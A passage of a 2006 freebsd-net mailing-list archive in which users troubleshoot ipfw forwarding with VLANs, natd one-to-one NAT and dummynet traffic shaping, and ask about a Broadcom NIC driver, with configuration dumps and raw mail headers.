12:15:53 -0700 (PDT) Message-ID: <4457AFE3.2050002@netvulture.com> Date: Tue, 02 May 2006 12:15:47 -0700 From: Jonathan Feally User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-net@freebsd.org, rizzo@icir.org References: <44565E41.2080905@netvulture.com> In-Reply-To: <44565E41.2080905@netvulture.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-MailScanner-Information: Please contact your system administrator for more information X-MailScanner: Found to be clean X-MailScanner-SpamCheck: not spam (whitelisted), SpamAssassin (score=-2.243, required 2.5, ALL_TRUSTED -2.82, AWL -0.01, HOT_NASTY 0.59) Cc: Subject: Re: Having a problem with getting ipfw fwd to work with vlans and bge - 6.1-RC1 amd64 X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 19:30:43 -0000 An Update, Last night I tried adding an em0 to the system. It yeilded no results. I put the internal lans on em0 and ISP-B on bge0. I know the rules is getting hits as the counters are moving up, but the redirection simply refuses to happen. Anyone with any thoughts? Relevant Kernel Options: options IPFIREWALL options IPFIREWALL_FORWARD options IPFIREWALL_FORWARD_EXTENDED options IPFIREWALL_DEFAULT_TO_ACCEPT options DUMMYNET options IPDIVERT options IPSTEALTH # Tried with sysctl set to on and off. options FAST_IPSEC device crypto Help!!!! Thanks, -Jon Jonathan Feally wrote: > Hello, > I have setup a new firewall and I'm having trouble with it. Perhaps > the bge is to blame, perhaps its something else. > I'll explain my setup, problem and the workaround to get it going. > > Box connects to 2 Internal Lans and 2 External Wans. > > Vlans are mixed untagged and tagged on a single bge0 > > Vlan Network Desc > 1 10.255.1.0/24 Admin Lan - No Vlan Tagging > 2 10.255.2.0/24 VoIP Lan > 900 67.xxx.xxx.128/27 Internet A - Default Route - Going to be > pure VoIP only - thus 10.255.2 boxes get 1:1 NAT to 67.xxx.xxx > 902 208.xxx.xxx.48/28 Internet B - Web Services > > 1st problem I ran into was pings from vlan 2 through natd to vlan 900 > were not coming back. I could see the packet enter vlan2 - leave and > return on vlan900 - but go nowhere. I tried a tcpdump on bge0 and the > pings started coming back. Leading me to putting promisc on my > ifconfig bge0 > > Now I'm trying to setup up a simple web server on an IP from vlan 902 > in combination with fwd rule # 999 to route packets from a vlan902 > address back to the router on that internet connection. I try to ping > from the outside and can see the icmp echo request. But the replies > keep getting sent out vlan900 to the other internet router. > > Hopefully somebody can point me in the right direction. If its the > bge, then I can replace it with some em. If its an issue with mixing > native vlan and tagged, I can tag everything, If its not me, then who > can help getting the code fixed? > > I have put my ifconfig, ipfw rules and natd.conf's below. > > Thanks -Jon > > --------------------------------------------------------- > > [root@t3031fw ~]# ifconfig -a > bge0: > flags=28943 > mtu 1500 > options=18 > inet6 fe80::215:f2ff:fed0:d898%bge0 prefixlen 64 scopeid 0x1 > inet 10.255.1.254 netmask 0xffffff00 broadcast 10.255.1.255 > ether 00:15:f2:d0:d8:98 > media: Ethernet autoselect (100baseTX ) > status: active > bge1: flags=8802 mtu 1500 > options=1b > ether 00:15:f2:40:d8:35 > media: Ethernet autoselect (none) > status: no carrier > plip0: flags=108810 mtu 1500 > lo0: flags=8049 mtu 16384 > inet6 ::1 prefixlen 128 > inet6 fe80::1%lo0 prefixlen 64 scopeid 0x4 > inet 127.0.0.1 netmask 0xff000000 > vlan2: flags=8843 mtu 1500 > inet6 fe80::215:f2ff:fed0:d898%vlan2 prefixlen 64 scopeid 0x5 > inet 10.255.2.1 netmask 0xffffff00 broadcast 10.255.2.255 > ether 00:15:f2:d0:d8:98 > media: Ethernet autoselect (100baseTX ) > status: active > vlan: 2 parent interface: bge0 > vlan900: flags=8843 mtu 1500 > inet6 fe80::215:f2ff:fed0:d898%vlan900 prefixlen 64 scopeid 0x6 > inet 67.xxx.xxx.158 netmask 0xffffffe0 broadcast 67.xxx.xxx.159 > inet 67.xxx.xxx.130 netmask 0xffffffff broadcast 67.xxx.xxx.130 > inet 67.xxx.xxx.131 netmask 0xffffffff broadcast 67.xxx.xxx.131 > inet 67.xxx.xxx.132 netmask 0xffffffff broadcast 67.xxx.xxx.132 > inet 67.xxx.xxx.133 netmask 0xffffffff broadcast 67.xxx.xxx.133 > inet 67.xxx.xxx.134 netmask 0xffffffff broadcast 67.xxx.xxx.134 > inet 67.xxx.xxx.135 netmask 0xffffffff broadcast 67.xxx.xxx.135 > inet 67.xxx.xxx.136 netmask 0xffffffff broadcast 67.xxx.xxx.136 > inet 67.xxx.xxx.137 netmask 0xffffffff broadcast 67.xxx.xxx.137 > inet 67.xxx.xxx.138 netmask 0xffffffff broadcast 67.xxx.xxx.138 > inet 67.xxx.xxx.139 netmask 0xffffffff broadcast 67.xxx.xxx.139 > inet 67.xxx.xxx.140 netmask 0xffffffff broadcast 67.xxx.xxx.140 > inet 67.xxx.xxx.141 netmask 0xffffffff broadcast 67.xxx.xxx.141 > inet 67.xxx.xxx.142 netmask 0xffffffff broadcast 67.xxx.xxx.142 > inet 67.xxx.xxx.143 netmask 0xffffffff broadcast 67.xxx.xxx.143 > inet 67.xxx.xxx.144 netmask 0xffffffff broadcast 67.xxx.xxx.144 > inet 67.xxx.xxx.145 netmask 0xffffffff broadcast 67.xxx.xxx.145 > inet 67.xxx.xxx.146 netmask 0xffffffff broadcast 67.xxx.xxx.146 > inet 67.xxx.xxx.147 netmask 0xffffffff broadcast 67.xxx.xxx.147 > inet 67.xxx.xxx.148 netmask 0xffffffff broadcast 67.xxx.xxx.148 > inet 67.xxx.xxx.149 netmask 0xffffffff broadcast 67.xxx.xxx.149 > inet 67.xxx.xxx.150 netmask 0xffffffff broadcast 67.xxx.xxx.150 > inet 67.xxx.xxx.151 netmask 0xffffffff broadcast 67.xxx.xxx.151 > inet 67.xxx.xxx.152 netmask 0xffffffff broadcast 67.xxx.xxx.152 > inet 67.xxx.xxx.153 netmask 0xffffffff broadcast 67.xxx.xxx.153 > inet 67.xxx.xxx.154 netmask 0xffffffff broadcast 67.xxx.xxx.154 > inet 67.xxx.xxx.155 netmask 0xffffffff broadcast 67.xxx.xxx.155 > inet 67.xxx.xxx.156 netmask 0xffffffff broadcast 67.xxx.xxx.156 > inet 67.xxx.xxx.157 netmask 0xffffffff broadcast 67.xxx.xxx.157 > ether 00:15:f2:d0:d8:98 > media: Ethernet autoselect (100baseTX ) > status: active > vlan: 900 parent interface: bge0 > vlan902: flags=8843 mtu 1500 > inet6 fe80::215:f2ff:fed0:d898%vlan902 prefixlen 64 scopeid 0x7 > inet 208.xxx.xxx.48 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.49 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.50 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.51 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.52 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.53 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.54 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.55 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.56 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.57 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.58 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.59 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.60 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.61 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.62 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > inet 208.xxx.xxx.63 netmask 0xffffff00 broadcast 208.xxx.xxx.255 > ether 00:15:f2:d0:d8:98 > media: Ethernet autoselect (100baseTX ) > status: active > vlan: 902 parent interface: bge0 > > > [root@t3031fw ~]# ipfw show > 00100 612 297138 allow ip from any to any via lo0 > 00200 0 0 deny ip from any to 127.0.0.0/8 > 00300 0 0 deny ip from 127.0.0.0/8 to any > 00401 507 46266 allow ip from 63.197.17.60 to any > 00402 434 71914 allow ip from any to 63.197.17.60 > 00999 1256 75280 fwd 208.xxx.xxx.1 ip from 208.xxx.xxx.48/28 > to any > 01000 51349830 10346449386 divert 8668 ip from any to any via vlan900 > 01100 25290 6692181 divert 8669 ip from any to any via vlan902 > 01999 0 0 check-state > 02999 5393 444962 allow icmp from any to any > 03000 5290 847646 allow tcp from 10.255.2.0/24 to any keep-state > 03001 0 0 allow udp from any to 10.255.2.100 dst-port > 4569 keep-state > 03001 26469 3267888 allow tcp from any to 10.255.2.100 dst-port > 22 keep-state > 03002 0 0 allow udp from any to 10.255.2.200 dst-port > 4569 keep-state > 03002 22003 2652985 allow tcp from any to 10.255.2.200 dst-port > 22 keep-state > 03300 10313 1223322 allow ip from 10.255.1.0/24 to > 10.255.1.0/24 keep-state > 03999 0 0 allow ip from 208.xxx.xxx.48/28 to any > keep-state > 04000 25701603 5174357258 allow ip from 67.xxx.xxx.128/27 to any > keep-state > 04001 0 0 allow tcp from any to 67.xxx.xxx.130 > dst-port 22 keep-state > 04002 0 0 allow tcp from any to 67.xxx.xxx.140 > dst-port 22 keep-state > 04058 32848 4351775 allow tcp from any to 67.xxx.xxx.158 > dst-port 22 keep-state > 04080 4596 3101277 allow tcp from any to 67.xxx.xxx.158 > dst-port 80 keep-state > 04080 4349 2856224 allow tcp from any to 208.xxx.xxx.48 > dst-port 80 keep-state > 10011 0 0 allow ip from 208.201.244.72/29 to > 67.xxx.xxx.128/27 keep-state > 10012 120462 68409347 allow ip from 208.201.244.72/29 to > 10.255.2.0/24 keep-state > 10013 0 0 allow ip from 67.xxx.xxx.128/27 to > 208.201.244.72/29 keep-state > 10014 223046 54830393 allow ip from 10.255.2.0/24 to > 208.201.244.72/29 keep-state > 11111 13137 6722265 allow ip from 10.255.2.0/24 to > 207.174.202.2 keep-state > 11112 0 0 allow ip from 67.xxx.xxx.128/27 to > 207.174.202.2 keep-state > 11113 0 0 allow ip from 207.174.202.2 to > 67.xxx.xxx.128/27 keep-state > 11114 22806 11460460 allow ip from 207.174.202.2 to > 10.255.2.0/24 keep-state > 11201 39017 19450498 allow ip from 10.255.2.0/24 to > 207.174.202.3 keep-state > 11202 0 0 allow ip from 67.xxx.xxx.128/27 to > 207.174.202.3 keep-state > 11203 0 0 allow ip from 207.174.202.3 to > 67.xxx.xxx.128/27 keep-state > 11204 17986 9036892 allow ip from 207.174.202.3 to > 10.255.2.0/24 keep-state > 11301 72141 10621231 allow ip from 10.255.2.0/24 to > 207.174.202.4 keep-state > 11302 0 0 allow ip from 67.xxx.xxx.128/27 to > 207.174.202.4 keep-state > 11303 0 0 allow ip from 207.174.202.4 to > 67.xxx.xxx.128/27 keep-state > 11304 22625 11368053 allow ip from 207.174.202.4 to > 10.255.2.0/24 keep-state > 11401 43193817 8659831738 allow ip from 10.255.2.0/24 to > 216.241.188.54 keep-state > 11402 0 0 allow ip from 67.xxx.xxx.128/27 to > 216.241.188.54 keep-state > 11403 0 0 allow ip from 216.241.188.54 to > 67.xxx.xxx.128/27 keep-state > 11404 611137 131292121 allow ip from 216.241.188.54 to > 10.255.2.0/24 keep-state > 12101 31804010 6372136314 allow ip from 10.255.2.0/24 to > 207.174.111.12 keep-state > 12102 0 0 allow ip from 67.xxx.xxx.128/27 to > 207.174.111.12 keep-state > 12103 0 0 allow ip from 207.174.111.12 to > 67.xxx.xxx.128/27 keep-state > 12104 441864 96541650 allow ip from 207.174.111.12 to > 10.255.2.0/24 keep-state > 13101 98120 11157261 allow ip from 10.255.2.0/24 to > 66.246.246.52 keep-state > 13102 0 0 allow ip from 67.xxx.xxx.128/27 to > 66.246.246.52 keep-state > 13103 0 0 allow ip from 66.246.246.52 to > 67.xxx.xxx.128/27 keep-state > 13104 0 0 allow ip from 66.246.246.52 to > 10.255.2.0/24 keep-state > 64000 49199 5396398 allow udp from 10.255.2.0/24 to any > dst-port 53 keep-state > 65000 213362 84312193 deny ip from any to any > 65535 1 72 allow ip from any to any > > > [root@t3031fw ~]# cat /etc/natd900.conf > log_facility security > use_sockets > same_ports > port natd > interface vlan900 > unregistered_only > redirect_address 10.255.2.100 67.xxx.xxx.130 > redirect_address 10.255.2.101 67.xxx.xxx.131 > redirect_address 10.255.2.102 67.xxx.xxx.132 > redirect_address 10.255.2.103 67.xxx.xxx.133 > redirect_address 10.255.2.104 67.xxx.xxx.134 > redirect_address 10.255.2.105 67.xxx.xxx.135 > redirect_address 10.255.2.106 67.xxx.xxx.136 > redirect_address 10.255.2.107 67.xxx.xxx.137 > redirect_address 10.255.2.108 67.xxx.xxx.138 > redirect_address 10.255.2.109 67.xxx.xxx.139 > redirect_address 10.255.2.200 67.xxx.xxx.140 > > > [root@t3031fw ~]# cat /etc/natd902.conf > log_facility security > use_sockets > same_ports > port natd2 > alias_address 208.xxx.xxx.48 > unregistered_only > redirect_address 10.255.2.100 208.xxx.xxx.50 > redirect_address 10.255.2.101 208.xxx.xxx.51 > redirect_address 10.255.2.102 208.xxx.xxx.52 > redirect_address 10.255.2.103 208.xxx.xxx.53 > redirect_address 10.255.2.104 208.xxx.xxx.54 > redirect_address 10.255.2.105 208.xxx.xxx.55 > redirect_address 10.255.2.106 208.xxx.xxx.56 > redirect_address 10.255.2.107 208.xxx.xxx.57 > redirect_address 10.255.2.108 208.xxx.xxx.58 > redirect_address 10.255.2.109 208.xxx.xxx.59 > redirect_address 10.255.2.200 208.xxx.xxx.60 > > _______________________________________________ > freebsd-net@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-net > To unsubscribe, send any mail to "freebsd-net-unsubscribe@freebsd.org" From owner-freebsd-net@FreeBSD.ORG Tue May 2 21:47:56 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E0A4F16A401 for ; Tue, 2 May 2006 21:47:55 +0000 (UTC) (envelope-from michael@gargantuan.com) Received: from phoenix.gargantuan.com (srv01.lak.lwxdatacom.net [24.73.171.238]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4469A43D45 for ; Tue, 2 May 2006 21:47:55 +0000 (GMT) (envelope-from michael@gargantuan.com) Received: by phoenix.gargantuan.com (Postfix, from userid 1001) id 2D219231; Tue, 2 May 2006 17:47:54 -0400 (EDT) Date: Tue, 2 May 2006 17:47:54 -0400 From: "Michael W. Oliver" To: tpeixoto@widesoft.com.br Message-ID: <20060502214754.GL11342@gargantuan.com> Mail-Followup-To: tpeixoto@widesoft.com.br, ferdinand.goldmann@jku.at, freebsd-net@freebsd.org References: <49594.200.230.201.250.1146063341.squirrel@www.widemail.com.br> <444F8E89.2050905@wildcard.net.uk> <56286.200.230.201.250.1146067775.squirrel@www.widemail.com.br> <1146073590.1089.80.camel@sky.mediasat.ro> <59615.200.230.201.250.1146083577.squirrel@www.widemail.com.br> <44506D87.1020808@jku.at> <4456B1E0.9040408@widesoft.com.br> <20060502040911.GG11342@gargantuan.com> <55494.200.230.201.250.1146590354.squirrel@www.widemail.com.br> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="mGCtrYeZ202LI9ZG" Content-Disposition: inline In-Reply-To: <55494.200.230.201.250.1146590354.squirrel@www.widemail.com.br> X-WWW-URL: http://michael.gargantuan.com X-GPG-PGP-Public-Key: http://michael.gargantuan.com/gnupg/pubkey.asc X-GPG-PGP-Fingerprint: 2694 0179 AE3F BFAE 0916 0BF5 B16B FBAB C5FA A3C9 X-Home-Phone: +1-863-816-8091 X-Mobile-Phone: +1-863-738-2334 X-Mailing-Address0: 8008 Apache Lane X-Mailing-Address1: Lakeland, FL X-Mailing-Address2: 33810-2172 X-Mailing-Address3: United States of America X-Guide-Questions: http://www.catb.org/~esr/faqs/smart-questions.html X-Guide-Netiquette: http://www.ietf.org/rfc/rfc1855.txt User-Agent: mutt-ng/devel-r774 (FreeBSD) Cc: freebsd-net@freebsd.org, ferdinand.goldmann@jku.at Subject: Re: Packet loss with traffic shaper and routing X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 21:47:56 -0000 --mGCtrYeZ202LI9ZG Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On 2006-05-02T14:19:14-0300, tpeixoto@widesoft.com.br wrote: >> On 2006-05-01T22:12:00-0300, tpeixoto@widesoft.com.br wrote: >>> Please, take a look in my previous post. >>> I guess the problem lies with IPFW and dummynet. >>> How do you shape your clients? >>>=20 >>> Here we have (for each client): >>>=20 >>> ipfw pipe 1 config bw 512Kbit/s >>> ipfw pipe 2 config bw 512Kbit/s >>> ipfw add pipe 1 ip from any to any mac any 00:11:22:33:44:55 in >>> ipfw add pipe 2 ip from any to any mac 00:11:22:33:44:55 any out >>=20 >> I am no ipfw or dummynet expert, but I read some of your other posts and >> noticed that you are using 3200 rules and 3200 pipes, and are matching >> the mac address. Do you have to match the mac, or can you do this by IP >> address? According to the IPFW man page, if you specify a mask with >> your pipe configuration, you can match on every bit which would >> dynamically create the pipes based on the size of the parent pipe. I >> think it would be something like... >>=20 >> ipfw pipe 1 config bw 512kbit/s mask src-ip 0xffffffff >> ipfw pipe 2 config bw 512kbit/s mask dst-ip 0xffffffff >> ipfw add pipe 1 ip from any to any in >> ipfw add pipe 2 ip from any to any out >>=20 >> Like I said, I am no expert, but figured I would spew this to the list >> anyway. > > I see that. > But if I got this right, I cannot set up speeds individually. > We have different speeds for each host. >=B7 > Thanks for your time. Well, if my understanding is correct, you can think of each pipe config as a template to be used in the generation of dynamic pipes. So, for each speed/size of pipe you want, create two pipes, one with all-ones mask for src and the other with all-ones mask for dst... x=3D0 for each in 64 128 192 256 384 512 576 640; do x=3D$(($x+1)) ipfw pipe ${x} config bw ${each}kbit/s mask src-ip 0xffffffff x=3D$(($x+1)) ipfw pipe ${x} config bw ${each}kbit/s mask dst-ip 0xffffffff done so, for each speed you would have a pipe for in (src) and out (dst), and then you can just use the template instead of creating 3200 pipes. this doesn't really help your 'allow' rule situation, but I figured I would offer anyway. --=20 Mike Oliver, KI4OFU [see complete headers for contact information] --mGCtrYeZ202LI9ZG Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (FreeBSD) iD8DBQFEV9OJsWv7q8X6o8kRAslfAKCH0Oklt2vGXNP28eRobvHymFNW/ACdHIQ5 lNoD5yVMYShu7BpSOH1kSZU= =Nd7C -----END PGP SIGNATURE----- --mGCtrYeZ202LI9ZG-- From owner-freebsd-net@FreeBSD.ORG Tue May 2 21:48:52 2006 Return-Path: X-Original-To: freebsd-net@freebsd.org Delivered-To: freebsd-net@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E53C916A407 for ; Tue, 2 May 2006 21:48:52 +0000 (UTC) (envelope-from pauls@utdallas.edu) Received: from smtp1.utdallas.edu (smtp1.utdallas.edu [129.110.10.12]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1DB3243D45 for ; Tue, 2 May 2006 21:48:52 +0000 (GMT) (envelope-from pauls@utdallas.edu) Received: from UTDEVS08.campus.ad.utdallas.edu (utdex08.utdallas.edu [129.110.70.103]) by smtp1.utdallas.edu (Postfix) with ESMTP id 9932C388D81 for ; Tue, 2 May 2006 16:48:51 -0500 (CDT) Received: from [129.110.3.28] ([129.110.3.28]) by UTDEVS08.campus.ad.utdallas.edu with Microsoft SMTPSVC(6.0.3790.1830); Tue, 2 May 2006 16:48:51 -0500 Message-ID: <4457D3C1.50805@utdallas.edu> Date: Tue, 02 May 2006 16:48:49 -0500 From: Paul Schmehl User-Agent: Thunderbird 1.5 (X11/20060403) MIME-Version: 1.0 To: freebsd-net@freebsd.org Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms050701030405010009010705" X-OriginalArrivalTime: 02 May 2006 21:48:51.0334 (UTC) FILETIME=[33379A60:01C66E32] Subject: Broadcomm driver X-BeenThere: freebsd-net@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Networking and TCP/IP with FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 May 2006 21:48:53 -0000 This is a cryptographically signed message in MIME format. --------------ms050701030405010009010705 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit I'm trying to install 6.0 RELEASE on a new laptop, and the NIC wasn't recognized. It's a Broadcomm NetExtreme 57xx Gigabit NIC. Apparently the bge driver doesn't work for that? Is there a driver available? -- Paul Schmehl (pauls@utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas http://www.utdallas.edu/ir/security/ --------------ms050701030405010009010705 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIOyjCC A9gwggNBoAMCAQICEAKtnrSFCASWdA6c5IDs7CIwDQYJKoZIhvcNAQEEBQAwgcExCzAJBgNV BAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMiBQdWJs aWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykg MTk5OCBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMB4XDTk5MDMzMTAwMDAwMFoXDTA3MDExNDIzNTk1 OVowgeoxJzAlBgNVBAoTHlRoZSBVbml2ZXJzaXR5IG9mIFRleGFzIFN5c3RlbTEfMB0GA1UE CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE7MDkGA1UECxMyVGVybXMgb2YgdXNlIGF0IGh0 dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEgKGMpOTkxMjAwBgNVBAsTKUNsYXNzIDIgQ0Eg LSBPblNpdGUgSW5kaXZpZHVhbCBTdWJzY3JpYmVyMS0wKwYDVQQDEyRUaGUgVW5pdmVyc2l0 eSBvZiBUZXhhcyBhdCBEYWxsYXMgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAL/q 74frHgrBAPkiEcHRwczbetq+NtJwYDBg5RngUy819MmoKQXW3j2d8waaZH2+0YdUeJv/onjx +4erw/yHTMJJQQ3hwNKl1/x+/0JRTnTzAdVoc6VdBDH45iklY6gjmkRqgYsPsDnx79tGWMO6 uM9L83rBokmVgyNDupsajzKFAgMBAAGjgaUwgaIwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMT EVByaXZhdGVMYWJlbDEtMTQwMBEGCWCGSAGG+EIBAQQEAwIBBjBEBgNVHSAEPTA7MDkGC2CG SAGG+EUBBwEBMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9SUEEw DwYDVR0TBAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAB72f1hMv BgI2ig796k4sR85gkcRqcQmMrzFIDfyvJI/ogFQfQY6DcPNpm8dKsEX+ZQgh0gM8sUo6SjJQ DtojFdqobIMoTNkKQqcPikr/B6u9WJJO/Bii2FgLv+2jTDWaJFXh7FPopnmheXwSQ6a3Y/O+ Gkd7qQzWSJGuTRLQnjEwggVzMIIE3KADAgECAhAhQ2wPNrJWs2gXrRmRcAj6MA0GCSqGSIb3 DQEBBAUAMIHqMScwJQYDVQQKEx5UaGUgVW5pdmVyc2l0eSBvZiBUZXhhcyBTeXN0ZW0xHzAd BgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOzA5BgNVBAsTMlRlcm1zIG9mIHVzZSBh dCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhIChjKTk5MTIwMAYDVQQLEylDbGFzcyAy IENBIC0gT25TaXRlIEluZGl2aWR1YWwgU3Vic2NyaWJlcjEtMCsGA1UEAxMkVGhlIFVuaXZl cnNpdHkgb2YgVGV4YXMgYXQgRGFsbGFzIENBMB4XDTA1MDgxMDAwMDAwMFoXDTA2MDgxMDIz NTk1OVowgfQxJzAlBgNVBAoUHlRoZSBVbml2ZXJzaXR5IG9mIFRleGFzIFN5c3RlbTEtMCsG A1UECxQkVGhlIFVuaXZlcnNpdHkgb2YgVGV4YXMgYXQgRGFsbGFzIENBMUYwRAYDVQQLEz13 d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvQ1BTIEluY29ycC4gYnkgUmVmLixMSUFCLkxU RChjKTk5MRgwFgYDVQQLFA9NYWlsIFN0b3AgLSBVVEQxFTATBgNVBAMTDFBhdWwgU2NobWVo bDEhMB8GCSqGSIb3DQEJARYScGF1bHNAdXRkYWxsYXMuZWR1MIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDEoeaWOSJTLA4v6OJEuCfJukxz2ljvM2G7CovCFsCYK7FnYSzTjFAk8Vhe +STjF4ehWIMnyGzWHYP6Vude2sWSxsXvUANOsjNKeWZ5rSjFS52u+1JU2IiIiwISnlAmOKC9 eqXGq7iIPz35w3VbpxPeGe6GWK4ZfexTKSQtfPYfSQIDAQABo4ICDDCCAggwCQYDVR0TBAIw ADAdBgNVHREEFjAUgRJwYXVsc0B1dGRhbGxhcy5lZHUwggEkBgNVHSAEggEbMIIBFzCCARMG C2CGSAGG+EUBBwEGMIIBAjArBggrBgEFBQcCARYfaHR0cHM6Ly93d3cudmVyaXNpZ24uY29t L3JwYS1rcjCB0gYIKwYBBQUHAgIwgcUagcJOT1RJQ0U6IFByaXZhdGUga2V5IG1heSBiZSBy ZWNvdmVyZWQgYnkgVmVyaVNpZ24ncyBjdXN0b21lciB3aG8gbWF5IGJlIGFibGUgdG8gZGVj cnlwdCBtZXNzYWdlcyB5b3Ugc2VuZCB0byBjZXJ0aWZpY2F0ZSBob2xkZXIuICBVc2UgaXMg c3ViamVjdCB0byB0ZXJtcyBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhLWtyIChj KTk5LjARBglghkgBhvhCAQEEBAMCB4AwdQYDVR0fBG4wbDBqoGigZoZkaHR0cDovL29uc2l0 ZWNybC52ZXJpc2lnbi5jb20vVGhlVW5pdmVyc2l0eW9mVGV4YXNTeXN0ZW1UaGVVbml2ZXJz aXR5b2ZUZXhhc2F0RGFsbGFzQ0EvTGF0ZXN0Q1JMLmNybDALBgNVHQ8EBAMCB4AwHQYDVR0l BBYwFAYIKwYBBQUHAwQGCCsGAQUFBwMCMA0GCSqGSIb3DQEBBAUAA4GBAEHYOgkUsyvG/DYG FAKSJ+IqUY4NVstEHCKHim3Cckq0Chxf+yRQB4tvOrwPTFAHlMgqJKr4yVXEvwJmhAvJtO/V nYex/brnBVky3UI288HXzk7439zbvmmczLZmOhsR3A3TnKHX9vdTmJ7sxWExDszRQntTfoUY cQihaFVOqZ9sMIIFczCCBNygAwIBAgIQPzPhdzYQCWxtZCkhSwOckTANBgkqhkiG9w0BAQQF ADCB6jEnMCUGA1UEChMeVGhlIFVuaXZlcnNpdHkgb2YgVGV4YXMgU3lzdGVtMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTswOQYDVQQLEzJUZXJtcyBvZiB1c2UgYXQgaHR0 cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYSAoYyk5OTEyMDAGA1UECxMpQ2xhc3MgMiBDQSAt IE9uU2l0ZSBJbmRpdmlkdWFsIFN1YnNjcmliZXIxLTArBgNVBAMTJFRoZSBVbml2ZXJzaXR5 IG9mIFRleGFzIGF0IERhbGxhcyBDQTAeFw0wNTA4MTAwMDAwMDBaFw0wNjA4MTAyMzU5NTla MIH0MScwJQYDVQQKFB5UaGUgVW5pdmVyc2l0eSBvZiBUZXhhcyBTeXN0ZW0xLTArBgNVBAsU JFRoZSBVbml2ZXJzaXR5IG9mIFRleGFzIGF0IERhbGxhcyBDQTFGMEQGA1UECxM9d3d3LnZl cmlzaWduLmNvbS9yZXBvc2l0b3J5L0NQUyBJbmNvcnAuIGJ5IFJlZi4sTElBQi5MVEQoYyk5 OTEYMBYGA1UECxQPTWFpbCBTdG9wIC0gVVREMRUwEwYDVQQDEwxQYXVsIFNjaG1laGwxITAf BgkqhkiG9w0BCQEWEnBhdWxzQHV0ZGFsbGFzLmVkdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAw gYkCgYEA3kw5bRGnSgWiYrAFsDKH4M+0r3YOazqaJ+NCzHzSYci2dgE2thVNAGe9i4xLBL8I 